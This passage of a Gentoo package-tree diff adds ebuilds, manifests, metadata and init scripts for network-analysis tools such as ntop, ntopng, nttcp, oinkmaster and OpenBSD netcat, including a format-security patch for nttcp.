+ die "failed to prepare /var/lib/ntop dir"
+ insinto /var/lib/ntop
+ gunzip 3rd_party/GeoIPASNum.dat.gz
+ local f
+ for f in GeoIPASNum.dat GeoLiteCity.dat; do
+ # Don't install included GeoIP files if newer versions are available
+ [ -f "${ROOT}/var/lib/ntop/${f}" ] ||
+ doins "3rd_party/${f}" ||
+ die "failed to install ${f}"
+ done
+
+ dodoc AUTHORS CONTENTS ChangeLog MANIFESTO NEWS
+ dodoc PORTING README SUPPORT_NTOP.txt THANKS $(find docs -type f)
+
+ newinitd "${FILESDIR}"/ntop-initd ntop
+ newconfd "${FILESDIR}"/ntop-confd ntop
+
+ exeinto /etc/cron.monthly
+ doexe "${FILESDIR}"/ntop-update-geoip-db
+}
+
+pkg_postinst() {
+ elog "If this is the first time you install ntop, you need to run"
+ elog "following command before starting ntop service:"
+ elog " ntop --set-admin-password"
+}
diff --git a/net-analyzer/ntop/ntop-5.0.1-r1.ebuild b/net-analyzer/ntop/ntop-5.0.1-r1.ebuild
new file mode 100644
index 000000000000..789328164915
--- /dev/null
+++ b/net-analyzer/ntop/ntop-5.0.1-r1.ebuild
@@ -0,0 +1,127 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+PYTHON_COMPAT=( python2_7 )
+
+inherit autotools eutils user python-single-r1
+
+DESCRIPTION="Network traffic analyzer with web interface"
+HOMEPAGE="http://www.ntop.org/products/ntop/"
+SRC_URI="mirror://sourceforge/ntop/ntop/Stable/${P}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~hppa ~ia64 ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86"
+IUSE="snmp ssl"
+
+COMMON_DEPEND="
+ virtual/awk
+ dev-lang/perl
+ sys-libs/gdbm
+ dev-libs/libevent
+ net-libs/libpcap
+ media-libs/gd
+ media-libs/libpng
+ net-analyzer/rrdtool[graph]
+ ssl? ( dev-libs/openssl )
+ sys-libs/zlib
+ dev-libs/geoip
+ dev-lang/lua
+ snmp? ( net-analyzer/net-snmp[ipv6] )"
+DEPEND="${COMMON_DEPEND}
+ >=sys-devel/libtool-1.5.26
+ ${PYTHON_DEPS}"
+RDEPEND="${COMMON_DEPEND}
+ media-fonts/corefonts
+ media-gfx/graphviz
+ net-misc/wget
+ app-arch/gzip
+ dev-libs/glib:2
+ dev-python/mako"
+
+REQUIRED_USE="${PYTHON_REQUIRED_USE}"
+
+pkg_setup() {
+ enewgroup ntop
+ enewuser ntop -1 -1 /var/lib/ntop ntop
+ python-single-r1_pkg_setup
+}
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-gentoo.patch
+ epatch "${FILESDIR}"/${P}-includes.patch
+ cp /usr/share/aclocal/libtool.m4 libtool.m4.in
+ cat acinclude.m4.in libtool.m4.in acinclude.m4.ntop > acinclude.m4
+ eautoreconf
+
+ # The build system is a complete mess, so apply a configure patch here
+ # instead of patching configure.in above
+ epatch "${FILESDIR}"/${P}-INCS.patch
+
+ # Stop make from doing autotools stuff
+ sed -i -e '/missing --run echo/s|=.*|= true|g' Makefile.in || die
+}
+
+src_configure() {
+ export \
+ ac_cv_header_glib_h=no \
+ ac_cv_header_glibconfig_h=no \
+ ac_cv_header_gdome_h=no \
+ ac_cv_lib_glib_g_date_julian=no \
+ ac_cv_lib_xml2_xmlCheckVersion=no \
+ ac_cv_lib_gdome_gdome_di_saveDocToFile=no
+
+ pushd nDPI >/dev/null || die
+ econf
+ popd &>/dev/null || die
+
+ econf \
+ $(use_enable snmp) \
+ $(use_with ssl) \
+ --with-rrd-home=/usr/lib
+
+}
+
+src_compile() {
+ pushd nDPI >/dev/null || die
+ emake
+ popd &>/dev/null || die
+
+ emake
+}
+
+src_install() {
+ LC_ALL=C # apparently doesn't work with some locales (#191576 and #205382)
+
+ emake DESTDIR="${D}" install
+
+ keepdir /var/lib/ntop &&
+ fowners ntop:ntop /var/lib/ntop &&
+ fperms 750 /var/lib/ntop
+ insinto /var/lib/ntop
+ gunzip 3rd_party/GeoIPASNum.dat.gz
+ gunzip 3rd_party/GeoLiteCity.dat.gz
+ local f
+ for f in GeoIPASNum.dat GeoLiteCity.dat; do
+ # Don't install included GeoIP files if newer versions are available
+ [ -f "${ROOT}/var/lib/ntop/${f}" ] ||
+ doins "3rd_party/${f}"
+ done
+
+ dodoc AUTHORS CONTENTS ChangeLog MANIFESTO NEWS
+ dodoc PORTING README SUPPORT_NTOP.txt THANKS $(find docs -type f)
+
+ newinitd "${FILESDIR}"/ntop-initd-r1 ntop
+ newconfd "${FILESDIR}"/ntop-confd ntop
+
+ exeinto /etc/cron.monthly
+ doexe "${FILESDIR}"/ntop-update-geoip-db
+}
+
+pkg_postinst() {
+ elog "If this is the first time you install ntop, you need to run"
+ elog "following command before starting ntop service:"
+ elog " ntop --set-admin-password"
+}
diff --git a/net-analyzer/ntopng/Manifest b/net-analyzer/ntopng/Manifest
new file mode 100644
index 000000000000..b13993272f34
--- /dev/null
+++ b/net-analyzer/ntopng/Manifest
@@ -0,0 +1,2 @@
+DIST ntopng-1.2.1.tgz 9381092 SHA256 9b98114358d350caad2dcdbacceb895288f958dbbbfddf21a23b921d1a1b68b5 SHA512 816d63807fc40bcd1851fe5969b4a7d47540052c696f227b26dd38f1621bea5c48bb25a1115bdae3ec4c529d9f291d3d615a760081a90d937154a6a487194ca5 WHIRLPOOL 672fbf53108691fa0b0154ea21240445474e2e89d75004d4cd455ab2f8b5a62c5d1386670ab8ab9e6bd0304e9fe89c29a380db6d7959b4df6474e55f69892b3f
+DIST ntopng-2.0.tar.gz 35783709 SHA256 3cbfd6de1bc44d65f7c7f0de282d122d11f493f1261ba137c3b5b202e08e0251 SHA512 2208623cdc843b8e4ec285930d1ea74ac50c576888fce20f6fc4363e747e0dbef7f1808e7b77ae9b7f5316bca55a3e003a9926785c847bbea2c321d7f7e56d13 WHIRLPOOL 40438c3260a9ba16d8893ce41c494feda8e6290efc0253d4f19d354f6dd535f2d13177d1a1449abdcb5d5a212db0736540f5b92c77fcd624eb9b672ac659a2bc
diff --git a/net-analyzer/ntopng/files/ntopng.conf.d b/net-analyzer/ntopng/files/ntopng.conf.d
new file mode 100644
index 000000000000..b53f5d4ed777
--- /dev/null
+++ b/net-analyzer/ntopng/files/ntopng.conf.d
@@ -0,0 +1,3 @@
+NTOPNG_OPTS="-i eth0"
+NTOPNG_OPTS="${NTOPNG_OPTS} -m 192.168.0.0/16"
+NTOPNG_OPTS="${NTOPNG_OPTS} -d /var/lib/ntopng"
diff --git a/net-analyzer/ntopng/files/ntopng.init.d b/net-analyzer/ntopng/files/ntopng.init.d
new file mode 100644
index 000000000000..2764118fc468
--- /dev/null
+++ b/net-analyzer/ntopng/files/ntopng.init.d
@@ -0,0 +1,20 @@
+#!/sbin/runscript
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net redis
+}
+
+start() {
+ ebegin "Starting ntopng"
+ start-stop-daemon --start --exec /usr/bin/ntopng --pidfile /var/run/ntopng.pid --make-pidfile --background -e LUA_PATH='/usr/share/ntopng/scripts/lua/modules/?.lua' -- --user ntopng ${NTOPNG_OPTS}
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping ntopng"
+ start-stop-daemon --stop --exec /usr/bin/ntopng --pidfile /var/run/ntopng.pid
+ eend $?
+}
diff --git a/net-analyzer/ntopng/metadata.xml b/net-analyzer/ntopng/metadata.xml
new file mode 100644
index 000000000000..81f9642ed03f
--- /dev/null
+++ b/net-analyzer/ntopng/metadata.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>slis@gentoo.org</email>
+ </maintainer>
+ <upstream>
+ <remote-id type="sourceforge">ntop</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/ntopng/ntopng-1.2.1.ebuild b/net-analyzer/ntopng/ntopng-1.2.1.ebuild
new file mode 100644
index 000000000000..b5725cab8570
--- /dev/null
+++ b/net-analyzer/ntopng/ntopng-1.2.1.ebuild
@@ -0,0 +1,52 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools user
+
+DESCRIPTION="Network traffic analyzer with web interface"
+HOMEPAGE="http://www.ntop.org/"
+SRC_URI="mirror://sourceforge/ntop/${PN}/${P}.tgz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="dev-db/sqlite:3
+ dev-libs/geoip
+ dev-libs/glib:2
+ net-libs/libpcap"
+RDEPEND="${DEPEND}
+ dev-db/redis"
+
+src_prepare() {
+ eautoreconf
+}
+
+src_install() {
+ SHARE_NTOPNG_DIR="${EPREFIX}/usr/share/${PN}"
+ dodir ${SHARE_NTOPNG_DIR}
+ insinto ${SHARE_NTOPNG_DIR}
+ doins -r httpdocs
+ doins -r scripts
+
+ exeinto /usr/bin
+ doexe ${PN}
+ doman ${PN}.8
+
+ newinitd "${FILESDIR}/ntopng.init.d" ntopng
+ newconfd "${FILESDIR}/ntopng.conf.d" ntopng
+
+ dodir "/var/lib/ntopng"
+ fowners ntopng "${EPREFIX}/var/lib/ntopng"
+}
+
+pkg_setup() {
+ enewuser ntopng
+}
+
+pkg_postinst() {
+ elog "ntopng default creadential are user='admin' password='admin'"
+}
diff --git a/net-analyzer/ntopng/ntopng-2.0.ebuild b/net-analyzer/ntopng/ntopng-2.0.ebuild
new file mode 100644
index 000000000000..120d0e041ed4
--- /dev/null
+++ b/net-analyzer/ntopng/ntopng-2.0.ebuild
@@ -0,0 +1,54 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools user
+
+DESCRIPTION="Network traffic analyzer with web interface"
+HOMEPAGE="http://www.ntop.org/"
+SRC_URI="mirror://sourceforge/ntop/${PN}/${P}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="dev-db/sqlite:3
+ dev-libs/geoip
+ dev-libs/glib:2
+ net-libs/libpcap
+ dev-libs/libxml2"
+RDEPEND="${DEPEND}
+ dev-db/redis"
+
+src_prepare() {
+ cat "${S}/configure.seed" | sed "s/@VERSION@/${PV}/g" | sed "s/@SHORT_VERSION@/${PV}/g" > "${S}/configure.ac"
+ eautoreconf
+}
+
+src_install() {
+ SHARE_NTOPNG_DIR="${EPREFIX}/usr/share/${PN}"
+ dodir ${SHARE_NTOPNG_DIR}
+ insinto ${SHARE_NTOPNG_DIR}
+ doins -r httpdocs
+ doins -r scripts
+
+ exeinto /usr/bin
+ doexe ${PN}
+ doman ${PN}.8
+
+ newinitd "${FILESDIR}/ntopng.init.d" ntopng
+ newconfd "${FILESDIR}/ntopng.conf.d" ntopng
+
+ dodir "/var/lib/ntopng"
+ fowners ntopng "${EPREFIX}/var/lib/ntopng"
+}
+
+pkg_setup() {
+ enewuser ntopng
+}
+
+pkg_postinst() {
+ elog "ntopng default creadential are user='admin' password='admin'"
+}
diff --git a/net-analyzer/nttcp/Manifest b/net-analyzer/nttcp/Manifest
new file mode 100644
index 000000000000..f56f939b5b4a
--- /dev/null
+++ b/net-analyzer/nttcp/Manifest
@@ -0,0 +1 @@
+DIST nttcp-1.47.tar.gz 25693 SHA256 a0e0ac34d250ba874f9ce75da60717cde8da4ebbef56879bbc8b8ed2743b81ae SHA512 eb0a5aa0633555a6e4c3834e99666cd0e00d41da5d82fdfd2644a9f59727236f1b24fbe810272cf9cfb96d76361b028bcf57025008570dbd6b0d761df5cce625 WHIRLPOOL 4565335b23ad89e609d04a8c2c8eef914bbe85da2696da5a1fa352a02feaa13faca71f9058e34ab621fcf3b3653a334cfad67a22b81ca325c0caed789b7931fc
diff --git a/net-analyzer/nttcp/files/nttcp-1.47-format-security.patch b/net-analyzer/nttcp/files/nttcp-1.47-format-security.patch
new file mode 100644
index 000000000000..514b5fa6e33b
--- /dev/null
+++ b/net-analyzer/nttcp/files/nttcp-1.47-format-security.patch
@@ -0,0 +1,132 @@
+--- a/nttcp.c
++++ b/nttcp.c
+@@ -372,7 +372,7 @@
+ #define Message(x) fMessage(stdout, x)
+
+ void Exit(char *s, int ret) {
+- syslog(LOG_DEBUG, s);
++ syslog(LOG_DEBUG, "%s\n", s);
+ fMessage(stderr,s);
+ exit(ret);
+ }
+@@ -694,7 +694,7 @@
+ register int cnt;
+ if (opt.udp) {
+ struct sockaddr_in from;
+- int len= sizeof(from);
++ socklen_t len= sizeof(from);
+ cnt= recvfrom(fd, buf, count, 0, (struct sockaddr *)&from, &len);
+ SysCalls++;
+ }
+@@ -1150,8 +1150,8 @@
+ int main(int argc, char *argv[]) {
+
+ struct sockaddr_in PeerAddr;
+- int PeerAddrLeng;
+- char *DataPortFormat= "dataport: %d\n";
++ socklen_t PeerAddrLeng;
++ const char DataPortFormat[]= "dataport: %d\n";
+ int DataPort;
+ struct sockaddr_in sinlh; /* for control socket on local host */
+ int fd; /* data socket to transport the data */
+@@ -1184,7 +1184,8 @@
+ }
+ if (opt.inetd) {
+ /* we simulate inetd behaviour */
+- int nsrv, srv, fromleng;
++ int nsrv, srv;
++ socklen_t fromleng;
+ struct sockaddr_in sinsrv;
+ struct sockaddr_in frominet;
+ if (opt.Verbose) {
+@@ -1285,7 +1286,7 @@
+ Exit(MsgBuf, 2);
+ }
+ if (OptionLine[sizeof(OptionLine)-1] != '\0') {
+- sprintf(MsgBuf, "%s: optionline longer than %d\n",
++ sprintf(MsgBuf, "%s: optionline longer than %zd\n",
+ myname, sizeof(OptionLine)-1);
+ Exit(MsgBuf, 3);
+ }
+@@ -1308,7 +1309,7 @@
+ Peer[PeerCount].fin= stdin;
+ Peer[PeerCount].fout= stdout;
+ syslog(LOG_DEBUG,
+- "call from %.50 (=%.30s): done remote initial processing\n",
++ "call from %.50s (=%.30s): done remote initial processing\n",
+ Peer[PeerCount].HostName, Peer[PeerCount].IPName);
+ PeerCount++;
+ }
+@@ -1617,7 +1618,7 @@
+ sinlh.sin_family = AF_INET;
+ #if defined(MULTICAST)
+ if (opt.MulticastChannel) {
+- int ml, p, join_group;
++ int p, join_group;
+ struct ip_mreq mreq;
+ sinlh.sin_port = htons(opt.MulticastPort);
+ if (bind(fd, (struct sockaddr *)&sinlh, sizeof(sinlh)) < 0) {
+@@ -1640,7 +1641,6 @@
+ sprintf(MsgBuf, DataPortFormat, DEFAULT_PORT);
+
+ /* tell it our clients */
+- ml= strlen(MsgBuf);
+ for (p=0; p<PeerCount; p++) {
+ fputs(MsgBuf, Peer[p].fout);
+ fflush(Peer[p].fout);
+@@ -1683,7 +1683,7 @@
+ }
+ else { /* == TCP */
+ struct sockaddr_in frominet;
+- int fromleng;
++ socklen_t fromleng;
+ fromleng = sizeof(frominet);
+ memset(&frominet, 0, fromleng);
+ AlarmMsg= "accept timed out\n";
+@@ -1694,7 +1694,7 @@
+ SetItVal(0);
+ if (opt.Verbose) {
+ struct sockaddr_in peer;
+- int peerlen = sizeof(peer);
++ socklen_t peerlen = sizeof(peer);
+ if (getpeername(fd, (struct sockaddr *)&peer, &peerlen) < 0)
+ exitError("getpeername", 19);
+ sprintf(MsgBuf,
+@@ -1732,7 +1732,7 @@
+
+ /* print window sizes */
+ if (opt.Verbose) {
+- int optlen;
++ socklen_t optlen;
+ int WinSize;
+
+ optlen= sizeof(WinSize);
+@@ -1899,8 +1899,8 @@
+ * rcr real call reate in Calls/s (float)
+ * ccr cpu call rate in Calls/s (float)
+ */
+- char *iFormat= "%*.*ld";
+- char *fFormat= "%*.*f";
++ const char iFormat[]= "%*.*ld";
++ const char fFormat[]= "%*.*f";
+ char *fs;
+ LenStr *TitleLine, *StatLine;
+
+@@ -2002,7 +2002,7 @@
+ fs+= 2;
+ }
+ else if (*fs == 'l') {
+- sprintf(MsgBuf, iFormat, fw, fp, opt.BufLen);
++ sprintf(MsgBuf, iFormat, fw, fp, (long int)opt.BufLen);
+ TitleStr= "BufLen";
+ fs++;
+ }
+@@ -2017,7 +2017,7 @@
+ fs++;
+ }
+ else if (*fs == 'c') {
+- sprintf(MsgBuf, iFormat, fw, fp, SysCalls);
++ sprintf(MsgBuf, iFormat, fw, fp, (long int)SysCalls);
+ TitleStr= "Calls";
+ fs++;
+ }
diff --git a/net-analyzer/nttcp/metadata.xml b/net-analyzer/nttcp/metadata.xml
new file mode 100644
index 000000000000..5051377f5abc
--- /dev/null
+++ b/net-analyzer/nttcp/metadata.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>tool to test TCP and UDP throughput</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/nttcp/nttcp-1.47-r1.ebuild b/net-analyzer/nttcp/nttcp-1.47-r1.ebuild
new file mode 100644
index 000000000000..5434fcc143dc
--- /dev/null
+++ b/net-analyzer/nttcp/nttcp-1.47-r1.ebuild
@@ -0,0 +1,31 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="tool to test TCP and UDP throughput"
+HOMEPAGE="http://www.leo.org/~elmar/nttcp/"
+SRC_URI="http://www.leo.org/~elmar/nttcp/${P}.tar.gz"
+LICENSE="public-domain"
+
+SLOT="0"
+KEYWORDS="amd64 ~mips ~ppc x86"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-format-security.patch
+}
+
+src_compile() {
+ emake \
+ ARCH= \
+ CC="$(tc-getCC)" \
+ LFLAGS="${LDFLAGS}" \
+ OPT="${CFLAGS}"
+}
+
+src_install() {
+ dobin ${PN}
+ doman ${PN}.1
+}
diff --git a/net-analyzer/nttcp/nttcp-1.47-r3.ebuild b/net-analyzer/nttcp/nttcp-1.47-r3.ebuild
new file mode 100644
index 000000000000..906a90c352c7
--- /dev/null
+++ b/net-analyzer/nttcp/nttcp-1.47-r3.ebuild
@@ -0,0 +1,31 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="tool to test TCP and UDP throughput"
+HOMEPAGE="http://www.leo.org/~elmar/nttcp/"
+SRC_URI="http://www.leo.org/~elmar/nttcp/${P}.tar.gz"
+LICENSE="public-domain"
+
+SLOT="0"
+KEYWORDS="amd64 ~mips ~ppc x86"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-format-security.patch
+}
+
+src_compile() {
+ emake \
+ ARCH= \
+ CC="$(tc-getCC)" \
+ LFLAGS="${LDFLAGS}" \
+ OPT="${CFLAGS}"
+}
+
+src_install() {
+ dobin ${PN}
+ doman ${PN}.1
+}
diff --git a/net-analyzer/odhcploc/Manifest b/net-analyzer/odhcploc/Manifest
new file mode 100644
index 000000000000..7204a50e5b79
--- /dev/null
+++ b/net-analyzer/odhcploc/Manifest
@@ -0,0 +1 @@
+DIST odhcploc-20111021.tar.gz 13831 SHA256 b0360a3aece8a29d131531da7bfc36d57c30c6eed30ff1ea360f7cccea1d62d7 SHA512 3270b2bf25e079544805ceaba152e4d47a3cae3d78db0429b21c884686de8e0a872628a92390eebe5128ebcf9dcc3d14020420bb95ae8b367784ae4282d21556 WHIRLPOOL 9acefccbc36c5aff28d111ecd86d178231d8db555e9eac67c6d9699808edb90ed8c70f9448a6afb76dbfcf1c1ba5cd833618b7327b2bda01bbf22d1e06aad24b
diff --git a/net-analyzer/odhcploc/metadata.xml b/net-analyzer/odhcploc/metadata.xml
new file mode 100644
index 000000000000..52ec285119d8
--- /dev/null
+++ b/net-analyzer/odhcploc/metadata.xml
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <maintainer>
+ <email>jer@gentoo.org</email>
+ <name>Jeroen Roovers</name>
+ </maintainer>
+ <longdescription lang="en">
+</longdescription>
+ <upstream>
+ <remote-id type="sourceforge">odhcploc</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/odhcploc/odhcploc-20111021.ebuild b/net-analyzer/odhcploc/odhcploc-20111021.ebuild
new file mode 100644
index 000000000000..618729112b65
--- /dev/null
+++ b/net-analyzer/odhcploc/odhcploc-20111021.ebuild
@@ -0,0 +1,24 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit toolchain-funcs
+
+DESCRIPTION="Open DHCP Locator"
+HOMEPAGE="http://odhcploc.sourceforge.net/"
+SRC_URI="mirror://sourceforge/project/${PN}/${PV}/${P}.tar.gz"
+
+LICENSE="ISC"
+SLOT="0"
+KEYWORDS="~amd64"
+
+src_prepare() {
+ tc-export CC
+}
+
+src_install() {
+ dobin ${PN}
+ doman ${PN}.8
+ dodoc AUTHORS
+}
diff --git a/net-analyzer/oinkmaster/Manifest b/net-analyzer/oinkmaster/Manifest
new file mode 100644
index 000000000000..6b4602e9a42f
--- /dev/null
+++ b/net-analyzer/oinkmaster/Manifest
@@ -0,0 +1 @@
+DIST oinkmaster-2.0.tar.gz 80111 SHA256 3d52f0426aa7c81b122cef22b80d708d8bb8337537e48754a065804f46c46162 SHA512 03874462cff71e558d4383fef9e757eb4260b20f4b1de4741edcd49fec6effe32669e95edb637962b77b12c519deeb74adc3c15427d0e054e1b96e2f03ffdb3b WHIRLPOOL eff3cdce34eaa067eba9217d7fc867a897ba9734577c55eff49499657149cb3f55310bd03342cccabfcf62e1b7418b9ec1962937a355d3d3728efe21be617ef9
diff --git a/net-analyzer/oinkmaster/metadata.xml b/net-analyzer/oinkmaster/metadata.xml
new file mode 100644
index 000000000000..caf45de8548f
--- /dev/null
+++ b/net-analyzer/oinkmaster/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="sourceforge">oinkmaster</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/oinkmaster/oinkmaster-2.0.ebuild b/net-analyzer/oinkmaster/oinkmaster-2.0.ebuild
new file mode 100644
index 000000000000..49b8ef0ec8b4
--- /dev/null
+++ b/net-analyzer/oinkmaster/oinkmaster-2.0.ebuild
@@ -0,0 +1,41 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils
+
+DESCRIPTION="Rule management for SNORT"
+SRC_URI="mirror://sourceforge/oinkmaster/${P}.tar.gz"
+HOMEPAGE="http://oinkmaster.sf.net/"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="amd64 ~arm ppc sparc x86"
+IUSE="X"
+
+RDEPEND="
+ >=dev-lang/perl-5.6.1
+ X? ( dev-perl/perl-tk )
+ net-misc/wget
+ app-arch/tar
+ app-arch/gzip
+"
+
+src_install() {
+ dobin \
+ contrib/addmsg.pl \
+ contrib/addsid.pl \
+ contrib/create-sidmap.pl \
+ contrib/makesidex.pl \
+ oinkmaster.pl
+
+ use X && dobin contrib/oinkgui.pl
+
+ dodoc FAQ README README.gui README.win32 UPGRADING contrib/README.contrib
+
+ doman oinkmaster.1
+
+ insinto /etc
+ doins oinkmaster.conf
+}
diff --git a/net-analyzer/openbsd-netcat/Manifest b/net-analyzer/openbsd-netcat/Manifest
new file mode 100644
index 000000000000..8edf5f99f3e2
--- /dev/null
+++ b/net-analyzer/openbsd-netcat/Manifest
@@ -0,0 +1 @@
+DIST nc-1.84-22.el6.src.rpm 62570 SHA256 8aa023a96a11f47fbaccda332f7e2c73697c271d2bd25b2485470d288d0db844 SHA512 a02f5a42e0db0aeff95a06964d6b9ccfa21d659ca67505d19c724966edbca42446ac4048339def769139ca6ae145cdc75e9908f12b21449bc9d748d3cac39094 WHIRLPOOL fb4b822b88fdf0097781ff8f23489e4300563e3c6f655b00519a2ced93f17cd433d5f3acf2cd66a7f97e4b3755838c9dc8619e0c1e5fbc54136a33212a8c7613
diff --git a/net-analyzer/openbsd-netcat/metadata.xml b/net-analyzer/openbsd-netcat/metadata.xml
new file mode 100644
index 000000000000..2eb55f5f9145
--- /dev/null
+++ b/net-analyzer/openbsd-netcat/metadata.xml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+ <email>heroxbd@gentoo.org</email>
+ <name>Benda Xu</name>
+</maintainer>
+<longdescription lang="en">
+ This package provides the openbsd linux port of netcat.
+</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/openbsd-netcat/openbsd-netcat-1.84.ebuild b/net-analyzer/openbsd-netcat/openbsd-netcat-1.84.ebuild
new file mode 100644
index 000000000000..219eb4ab613f
--- /dev/null
+++ b/net-analyzer/openbsd-netcat/openbsd-netcat-1.84.ebuild
@@ -0,0 +1,69 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit eutils toolchain-funcs rpm
+
+DESCRIPTION="the OpenBSD network swiss army knife"
+HOMEPAGE="http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/nc/"
+SRC_URI="ftp://ftp.redhat.com/pub/redhat/linux/enterprise/6Server/en/os/SRPMS/nc-1.84-22.el6.src.rpm"
+LICENSE="BSD"
+SLOT="0"
+
+KEYWORDS="~amd64 ~x86"
+
+IUSE="static"
+
+DEPEND="dev-libs/glib:2"
+RDEPEND="${DEPEND}"
+
+S=${WORKDIR}/nc
+
+src_unpack() {
+ rpm_src_unpack
+}
+
+src_prepare() {
+ epatch "../nc-1.84-glib.patch"
+ epatch "../nc-1.78-pollhup.patch"
+ epatch "../nc-1.82-reuseaddr.patch"
+ epatch "../nc-gcc_signess.patch"
+ epatch "../nc-1.84-connect_with_timeout.patch"
+ epatch "../nc-1.84-udp_stop.patch"
+ epatch "../nc-1.84-udp_port_scan.patch"
+ epatch "../nc-1.84-crlf.patch"
+ epatch "../nc-1.84-verb.patch"
+ epatch "../nc-1.84-man.patch"
+ epatch "../nc-1.84-gcc4.3.patch"
+ epatch "../nc-1.84-efficient_reads.patch"
+ epatch "../nc-1.84-verbose-segfault.patch"
+
+ # avoid name conflict against net-analyzer/netcat
+ mv nc.1 nc.openbsd.1
+}
+
+src_compile() {
+ use static && export STATIC="-static"
+ COMPILER=$(tc-getCC)
+ ${COMPILER} ${CFLAGS} netcat.c atomicio.c socks.c \
+ $(pkg-config --cflags --libs glib-2.0) \
+ ${LDFLAGS} -o nc.openbsd || die
+}
+
+src_install() {
+ dobin nc.openbsd
+ dodoc README*
+ doman nc.openbsd.1
+ docinto scripts
+ dodoc scripts/*
+}
+
+pkg_postinst() {
+ if [[ ${KERNEL} = "linux" ]]; then
+ ewarn "FO_REUSEPORT is introduced in linux 3.9. If your running kernel is older"
+ ewarn "and kernel header is newer, nc will not listen correctly. Matching the header"
+ ewarn "to the running kernel will do. See bug #490246 for details."
+ fi
+}
diff --git a/net-analyzer/openvas-cli/Manifest b/net-analyzer/openvas-cli/Manifest
new file mode 100644
index 000000000000..3e310b25c3fe
--- /dev/null
+++ b/net-analyzer/openvas-cli/Manifest
@@ -0,0 +1,3 @@
+DIST openvas-cli-1.3.1.tar.gz 78956 SHA256 627711355541a5269a0fd827ff53189fbb5e6b33b45a27d2bb4bb4dcb24b70ef SHA512 46f049f7038b10e694534d64d0a1d793691d5416563586a830f98592a24a261e492ef47bbdbf09e2b97d3d9e23085e53171ed57590a729377740fca4f4eef0f2 WHIRLPOOL f540c3d9aa42468aa54b329bb39701b2d8dc2ca26f43453d3f27a93565211e4f45ea0584f899f2b93eb03ccf796d78a52af8a5bad556dbf757d7aeef7d9a19dc
+DIST openvas-cli-1.4.0.tar.gz 80886 SHA256 cc9ed4fffd3857183602c30a54254f1f4d0f94fc2a5fded57827e9b079266732 SHA512 65627f816bb787ce008ed8d109c9c59f6b14df9b47f6d7db823f48eb400b34b0c82638fd39ab953b26c0d96ccc45b349f62e79dfa42c91d64af9be84f32e3cd6 WHIRLPOOL 23d5d27e0f05f2920ae0be4feceb70b4ba980929fb76dfa3036e15d9b5dba2f71d32e8b27ba179b1d2c8c9bfc67c4c2c1f9bc20b3de16b686058c596d6d393c0
+DIST openvas-cli-1.4.2.tar.gz 82415 SHA256 ac06aac59af3a7d2bbccc17bf64915d0651b47b51a4b9c23efda5b0e76c8aff9 SHA512 a19ddab5907bfdaaa4080107225bd3fdf1d9ee0f2c34da7b9b43383904d0249f6992c6f80f5ac902c1ec34586b5a7a9f956b66c18db39d15484e848ba559193e WHIRLPOOL 37ab51e606d6faa6a1eb4430517b0910636af818c4e727502978b3dfe87c1e32659e73303a1171cc9652e94b6f8e566bd515aed0ff71659a1792f37d50b250b9
diff --git a/net-analyzer/openvas-cli/metadata.xml b/net-analyzer/openvas-cli/metadata.xml
new file mode 100644
